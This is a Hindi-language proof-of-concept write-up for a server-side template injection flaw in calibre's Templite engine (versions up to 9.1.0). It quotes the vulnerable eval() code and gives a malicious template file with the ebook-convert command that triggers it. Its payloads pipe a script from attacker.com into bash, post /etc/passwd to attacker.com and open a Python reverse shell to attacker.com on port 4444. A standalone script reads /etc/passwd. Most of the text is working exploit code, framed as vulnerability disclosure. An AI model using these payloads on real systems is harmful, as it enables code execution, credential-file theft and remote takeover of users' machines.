
कैलिबर के टेम्प्लाइट इंजन (GHSA-xrh9-w7qx-3gcc) में सर्वर-साइड टेम्प्लेट इंजेक्शन (SSTI) भेद्यता के लिए प्रूफ ऑफ कॉन्सेप्ट। प्रभावित संस्करणों (≤ 9.1.0) में उपयोगकर्ता-आपूर्ति किए गए HTML निर्यात टेम्प्लेट के माध्यम से मनमाना Python कोड निष्पादन प्रदर्शित करता है।
गंभीरता: उच्च (CVSS 7.8)
प्रभावित सॉफ़्टवेयर: calibre <= 9.1.0
पैच किया गया संस्करण: 9.2.0
परामर्श: GHSA-xrh9-w7qx-3gcc
Calibre के Templite टेम्पलेटिंग इंजन में एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) भेद्यता, जब कोई उपयोगकर्ता --template-html या --template-html-index कमांड-लाइन विकल्पों के माध्यम से दुर्भावनापूर्ण कस्टम टेम्पलेट फ़ाइल का उपयोग करके ईबुक परिवर्तित करता है, तो मनमाना कोड निष्पादन की अनुमति देती है।
Templite इंजन (src/templite/__init__.py) Python के compile() और eval() फ़ंक्शन का उपयोग करके टेम्पलेट्स को बिना किसी सैंडबॉक्सिंग के संकलित और मूल्यांकन करता है:
src/templite/__init__.py में भेद्य कोड:
# पंक्ति 72: टेम्पलेट को Python कोड में संकलित किया जाता है
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# पंक्ति 90: संकलित कोड eval() के माध्यम से निष्पादित किया जाता है
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # मनमाना कोड निष्पादन
src/calibre/ebooks/conversion/plugins/html_output.py में हमला वेक्टर:
# पंक्तियाँ 96-98: उपयोगकर्ता-आपूर्ति की गई टेम्पलेट फ़ाइल लोड की जाती है
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# पंक्ति 136: टेम्पलेट को भेद्य Templite इंजन में पारित किया जाता है
templite = Templite(template_html_index_data)
यही पैटर्न --template-html विकल्प (पंक्तियाँ 102-106, 200) के लिए भी मौजूद है।
निम्नलिखित को malicious_template.tmpl के रूप में सहेजें:
<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# किसी भी ईबुक को दुर्भावनापूर्ण टेम्पलेट का उपयोग करके परिवर्तित करें
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# आउटपुट: uid=501(username) gid=20(staff) groups=...
# कमांड निष्पादन
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# फ़ाइल बहिर्निष्कासन
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# रिवर्स शेल
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# कमांड निष्पादन
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render()) # वर्तमान उपयोगकर्ता नाम प्रिंट करता है
# फ़ाइल पढ़ना
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render()) # /etc/passwd की पहली पंक्ति प्रिंट करता है
कौन प्रभावित है:
हमला परिदृश्य:
ebook-convert book.epub out.zip --template-html=template.tmpl